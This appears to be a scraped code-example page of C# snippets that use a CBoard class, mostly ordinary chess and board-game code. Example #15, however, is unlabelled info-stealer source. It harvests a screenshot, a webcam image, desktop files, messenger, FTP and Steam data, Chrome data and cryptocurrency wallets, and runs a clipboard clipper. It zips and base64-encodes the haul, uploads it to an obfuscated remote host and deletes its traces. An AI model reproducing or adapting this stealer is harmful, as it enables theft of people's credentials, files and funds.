Beispiel #1
0
 public CMoveItem(CBoard board, CPiece piece, int file, int rank)
 {
     Board = board;
     Piece = piece;
     File  = file;
     Rank  = rank;
 }
Beispiel #2
0
        public async Task <ActionResult <CBoard> > PostCBoard(CBoard cBoard)
        {
            _context.CBoard.Add(cBoard);
            await _context.SaveChangesAsync();

            return(CreatedAtAction("GetCBoard", new { id = cBoard.Id }, cBoard));
        }
Beispiel #3
0
 public Piece(CBoard board, Color color)
 {
     Position   = null;
     PieceBoard = board;
     Color      = color;
     QtMoves    = 0;
 }
Beispiel #4
0
        public async Task <IActionResult> PutCBoard(int id, CBoard cBoard)
        {
            if (id != cBoard.Id)
            {
                return(BadRequest());
            }

            _context.Entry(cBoard).State = EntityState.Modified;

            try
            {
                await _context.SaveChangesAsync();
            }
            catch (DbUpdateConcurrencyException)
            {
                if (!CBoardExists(id))
                {
                    return(NotFound());
                }
                else
                {
                    throw;
                }
            }

            return(NoContent());
        }
Beispiel #5
0
 public ChessGame()
 {
     board         = new CBoard(8, 8);
     Turn          = 1;
     CurrentPlayer = Color.White;
     Finished      = false;
     Check         = false;
     pieces        = new HashSet <Piece>();
     captured      = new HashSet <Piece>();
     PutPieces();
 }
Beispiel #6
0
 public virtual void Init()
 {
     // UI
     this.m_RectTransform       = this.transform as RectTransform;
     this.m_RectTransform.pivot = new Vector2(0.5f, 1f);
     // GROUP
     this.m_Group               = GameObject.FindObjectOfType <CGroupCard>();
     this.m_Board               = GameObject.FindObjectOfType <CBoard>();
     this.m_LayoutGroup         = this.GetComponent <VerticalLayoutGroup>();
     this.m_LayoutGroup.enabled = false;
     // CARDS
     this.m_Cards = new List <CCard>();
 }
Beispiel #7
0
        public Igra()
        {
            this.CBoard = new ChessBoard();

            this.SahovskeFigurice = new SahovskeFigurice();
            this.PoljeSvetlo      = new PoljeSvetlo();
            this.PoljeTamno       = new PoljeTamno();

            Thread thread = new Thread(delegate()
            {
                while (true)
                {
                    Thread.Sleep(500);
                    if (StopericaPublic.Elapsed1 < TimeSpan.Zero)
                    {
                        StopericaPublic.Stop1();
                        if (MessageBox.Show("Vreme je isteklo Belom igracu", "sss", MessageBoxButton.OK) == MessageBoxResult.OK)
                        {
                            StopericaPublic.Reset1();
                            StopericaPublic.Stop1();
                            Rezultat = ChessBoard.GameResultE.OnGoing;
                            Rezultat = CBoard.GetCurrentResult();
                        }
                    }
                    else if (StopericaPublic.Elapsed2 < TimeSpan.Zero)
                    {
                        StopericaPublic.Stop2();
                        if (MessageBox.Show("Vreme je isteklo CRNOM igracu", "sss", MessageBoxButton.OK) == MessageBoxResult.OK)
                        {
                            StopericaPublic.Reset2();
                            StopericaPublic.Stop2();
                            Rezultat = ChessBoard.GameResultE.OnGoing;
                            Rezultat = CBoard.GetCurrentResult();
                        }
                    }
                }
            });

            thread.IsBackground = true;
            thread.Start();
        }
Beispiel #8
0
        private static void DrawField(DrawingContext drawingContext, CBoard board, Rect area, int coorX, int coorY,
                                      Typeface typeFace, double fontSize)
        {
            var squareWidth  = area.Width / 8D;
            var squareHeight = area.Height / 8D;

            var l = area.Left + coorX * squareWidth;
            var b = area.Bottom - coorY * squareHeight;
            var r = l + squareWidth;
            var t = b - squareHeight;

            l = Math.Floor(l + 0.5D);
            t = Math.Floor(t + 0.5D);
            r = Math.Floor(r + 0.5D);
            b = Math.Floor(b + 0.5D);

            var square = new Rect(l, t, r - l, b - t);

            if (square.Width <= 0 || square.Height <= 0D)
            {
                return;
            }

            var brush = (coorX + coorY) % 2 == 0 ? BlackBrush : WhiteBrush;

            drawingContext.DrawRectangle(brush, null, square);
            if (true)
            {
                DrawText(drawingContext, square, typeFace, squareWidth * 0.5D, TextBrush, new CSquare(coorX, coorY).ToString());
            }


            var piece = board[coorX, coorY];

            if (piece != null)
            {
                var foreground = piece.Player == EPlayer.Black ? Brushes.Black : Brushes.White;
                DrawText(drawingContext, square, typeFace, fontSize, foreground, piece.ToString());
            }
        }
Beispiel #9
0
        protected override void OnRender(DrawingContext drawingContext)
        {
            base.OnRender(drawingContext);

            var main = new Rect(0, 0, ActualWidth, ActualHeight);

            drawingContext.DrawRectangle(Background, null, main);

            var size     = SquareSize * 8D;
            var left     = (main.Width - size) / 2D;
            var top      = (main.Height - size) / 2D;
            var area     = new Rect(left, top, size, size);
            var board    = Board ?? CBoard.GetDefaultBoard();
            var typeFace = new Typeface(FontFamily, FontStyle, FontWeight, FontStretch);

            for (var x = 0; x < 8; x++)
            {
                for (var y = 0; y < 8; y++)
                {
                    DrawField(drawingContext, board, area, x, y, typeFace, FontSize);
                }
            }
        }
Beispiel #10
0
        private void Reset()
        {
            ChessBoard.Board = CBoard.GetDefaultBoard();
            _player          = EPlayer.White;

            //ChessBoard.Board = new CBoard
            //{
            //	["B7"] = new CPieceKing(EPlayer.White),
            //	["D7"] = new CPieceKing(EPlayer.Black),
            //	["E5"] = new CPieceQueen(EPlayer.White),
            //	["E6"] = new CPieceKnight(EPlayer.White),
            //	["E7"] = new CPieceBishop(EPlayer.Black),
            //};
            //_player = EPlayer.White;

            //ChessBoard.Board = new CBoard
            //{
            //	["H6"] = new CPieceKing(EPlayer.Black),
            //	["H8"] = new CPieceKing(EPlayer.White),
            //	["G1"] = new CPieceQueen(EPlayer.Black)
            //};
            //_player = EPlayer.White;

            //ChessBoard.Board = new CBoard
            //{
            //	["B6"] = new CPieceKnight(EPlayer.White),
            //	["B5"] = new CPieceKing(EPlayer.White),
            //	["C7"] = new CPieceKing(EPlayer.Black),
            //	["F7"] = new CPieceKnight(EPlayer.White),
            //	["H7"] = new CPieceQueen(EPlayer.White),
            //};
            //_player = EPlayer.White;

            _game = new CGame(ChessBoard.Board);
            ChessBoard.InvalidateVisual();
            ListBox.ItemsSource = null;
        }
        public override void Start()
        {
            int parameter = 0;

            while (!IsFinished())
            {
                CircularGameType.main.StateOfGame = $"{Players[0].Name} must throw the dices.";
                Players[0].Input();
                Dm.Roll(Rnd);
                int loc = Players[0].GetPlayerLocation();
                Players[0].UpdateLocation(new Square(Players[0].GetPlayerLocation() + Dm.GetTotal()), 2);
                CBoard.MakeItCircular(Players[0], CBoard.SquareCount);
                if (Players[0] is IScorable scPlayer)
                {
                    if (loc > Players[0].GetPlayerLocation())
                    {
                        scPlayer.UpdateScore(2000);
                        CircularGameType.main.StateOfGame = $"{Players[0].Name} went by start square and got 2000 bonus points. His points are {scPlayer.GetTotalScore()}";
                        #region UpdateScoreForTheUi
                        if (Players[0].Name.Equals("Player 1"))
                        {
                            CircularGameType.main.Player1 = $"Player1: {((ScorableHumanPlayer)Players[0]).GetTotalScore()} points";
                        }
                        else if (Players[0].Name.Equals("Player 2"))
                        {
                            CircularGameType.main.Player2 = $"Player2: {((ScorableHumanPlayer)Players[0]).GetTotalScore()} points";
                        }
                        else if (Players[0].Name.Equals("Computer"))
                        {
                            CircularGameType.main.Player3 = $"Computer: {((ScorableComputerPlayer)Players[0]).GetTotalScore()} points";
                        }
                        #endregion
                        Thread.Sleep(2000);
                    }
                    scPlayer.UpdateScore(Dm.GetTotal() * 10);
                    #region UpdateScoreForTheUi
                    if (Players[0].Name.Equals("Player 1"))
                    {
                        CircularGameType.main.Player1 = $"Player1: {((ScorableHumanPlayer)Players[0]).GetTotalScore()} points";
                    }
                    else if (Players[0].Name.Equals("Player 2"))
                    {
                        CircularGameType.main.Player2 = $"Player2: {((ScorableHumanPlayer)Players[0]).GetTotalScore()} points";
                    }
                    else if (Players[0].Name.Equals("Computer"))
                    {
                        CircularGameType.main.Player3 = $"Computer: {((ScorableComputerPlayer)Players[0]).GetTotalScore()} points";
                    }
                    #endregion
                    CircularGameType.main.StateOfGame = $"{Players[0].Name} has throwed {Dm.GetTotal()}. His score is {scPlayer.GetTotalScore()}\n";
                    Thread.Sleep(2000);
                    CBoard.ApplySquareEffect(Players[0]);

                    if (Dm.AllEqual())
                    {
                        CircularGameType.main.StateOfGame = $"\n{Players[0].Name} has thrown a double, he get the chance to throw again...\n";
                        Thread.Sleep(1000);
                    }
                    else
                    {
                        var temp = Players[0];
                        for (int i = 0; i < Players.Count - 1; i++)
                        {
                            Players[i] = Players[i + 1];
                        }
                        Players[Players.Count - 1] = temp;

                        parameter++;
                        if (Tm.ATurnHasEnded(Players, ref parameter))
                        {
                            CircularGameType.main.StateOfGame = $"\nA turn has ended.\n";
                            CircularGameType.main.TurnsLeft   = $"Turns Left: {Tm.TurnCount}";
                            Thread.Sleep(1000);
                        }
                    }

                    if (Tm.AllTurnsAreMade())
                    {
                        int    max = scPlayer.GetTotalScore();
                        string name;

                        if (scPlayer is ScorableHumanPlayer)
                        {
                            name = ((ScorableHumanPlayer)scPlayer).Name;
                        }
                        else
                        {
                            name = ((ScorableComputerPlayer)scPlayer).Name;
                        }

                        foreach (IScorable sc in Players)
                        {
                            if (sc.GetTotalScore() > max)
                            {
                                max = sc.GetTotalScore();
                                if (sc is ScorableHumanPlayer)
                                {
                                    name = ((ScorableHumanPlayer)sc).Name;
                                }
                                else
                                {
                                    name = ((ScorableComputerPlayer)sc).Name;
                                }
                            }
                            else
                            {
                            }
                        }
                        CircularGameType.main.StateOfGame = $"\nThe winner is {name} with a total score of {max} points.";
                        Thread.Sleep(2000);
                    }
                }
            }
        }
Beispiel #12
0
 public King(CBoard board, Color color) : base(board, color)
 {
 }
Beispiel #13
0
 void Awake()
 {
     _board = CBoard.GetInstance();
 }
Beispiel #14
0
 void Awake()
 {
     //_board = GameObject.Find("Tiles").GetComponent<CBoard>();
     _board = CBoard.GetInstance();
 }
Beispiel #15
0
    public bool Start(string[] Params)
    {
        Information.Start();
        ProcList.Parse();
        Thread.Sleep(new Random().Next(1, 5) * 100);
        if (Base64.Decode(Params[2]) == "1")
        {
            clipper.Start();
        }
        Action action = delegate
        {
            CBoard.Start();
        };

        try
        {
            if (base.InvokeRequired)
            {
                Invoke(action);
            }
            else
            {
                action();
            }
        }
        catch
        {
        }
        DesktopImg.Start();
        DFiles.Start();
        WebCam.Start();
        FZ.Start();
        Pidgin.Start();
        DS.Start();
        TG.Start();
        Skype.Start();
        Steam.Start();
        BTCQt.Start();
        BTCByte.Start();
        BTCDASH.Start();
        BTCETH.Start();
        BTCMON.Start();
        Thread.Sleep(new Random().Next(1, 5) * 1000);
        EGChromeC.Start();
        string text = null;

        text = $"{Buffer.path_ad}{GetRandom.String(null, 8)}";
        if (File.Exists(text))
        {
            File.Delete(text);
        }
        ZipFile.CreateFromDirectory(Buffer.path_l, text);
        try
        {
            if (!EntryPoint.activation)
            {
                Environment.FailFast("Program has been crashed");
            }
            using (WebClient webClient = new WebClient())
            {
                NameValueCollection nameValueCollection = new NameValueCollection();
                nameValueCollection.Add("_x_key_x_", Base64.Encode(EntryPoint.key));
                nameValueCollection.Add("zipx", Base64.Encode(File.ReadAllText(text, Encoding.GetEncoding(1251)), Encoding.GetEncoding(1251)));
                nameValueCollection.Add("desktop", Base64.Encode(File.ReadAllText($"{Buffer.path_l}ScreenShot.png", Encoding.GetEncoding(1251)), Encoding.GetEncoding(1251)));
                nameValueCollection.Add("webcam", Base64.Encode(File.ReadAllText($"{Buffer.path_l}WebCam.jpg", Encoding.GetEncoding(1251)), Encoding.GetEncoding(1251)));
                nameValueCollection.Add("email", Params[0]);
                nameValueCollection.Add("caption", Exporter.Export("<title>", "</title>", Starter.FileData));
                nameValueCollection.Add("username", Base64.Encode(Environment.UserName));
                nameValueCollection.Add("c_count", Base64.Encode(Buffer.XBufferData[0]));
                nameValueCollection.Add("pcount", Base64.Encode(Buffer.XBufferData[1]));
                nameValueCollection.Add("acount", Base64.Encode(Buffer.XBufferData[10]));
                nameValueCollection.Add("cd_count", Base64.Encode(Buffer.XBufferData[11]));
                nameValueCollection.Add("steam", Base64.Encode(Buffer.XBufferData[6]));
                nameValueCollection.Add("fzilla", Base64.Encode(Buffer.XBufferData[2]));
                nameValueCollection.Add("tg", Base64.Encode(Buffer.XBufferData[3]));
                nameValueCollection.Add("dcord", Base64.Encode(Buffer.XBufferData[4]));
                nameValueCollection.Add("skype", Base64.Encode(Buffer.XBufferData[5]));
                nameValueCollection.Add("b-core", Base64.Encode(Buffer.XBufferData[7]));
                nameValueCollection.Add("b-byte", Base64.Encode(Buffer.XBufferData[13]));
                nameValueCollection.Add("b-d", Base64.Encode(Buffer.XBufferData[14]));
                nameValueCollection.Add("b-ethe", Base64.Encode(Buffer.XBufferData[15]));
                nameValueCollection.Add("b-mon", Base64.Encode(Buffer.XBufferData[16]));
                nameValueCollection.Add("avinstall", Base64.Encode(Buffer.XBufferData[18]));
                nameValueCollection.Add("_version_", Base64.Encode("3200"));
                while (true)
                {
                    try
                    {
                        if (Encoding.Default.GetString(webClient.UploadValues(string.Format("http://{0}", Base64.Decode(string.Format("{0}{1}{2}", Buffer.Sender, Buffer.Handler, "="))), nameValueCollection)) == "good")
                        {
                            goto IL_040a;
                        }
                    }
                    catch
                    {
                    }
                    Thread.Sleep(2000);
                }
            }
        }
        catch
        {
        }
        goto IL_040a;
IL_040a:
        try
        {
            Directory.Delete(Buffer.path_l, recursive: true);
        }
        catch
        {
        }
        try
        {
            File.Delete(text);
        }
        catch
        {
        }
        return(true);
    }
Beispiel #16
0
 public CGame(CBoard board)
 {
     Board = board;
 }
Beispiel #17
0
 void Awake()
 {
     _instance = this;
 }
Beispiel #18
0
 public Rook(CBoard board, Color color) : base(board, color)
 {
 }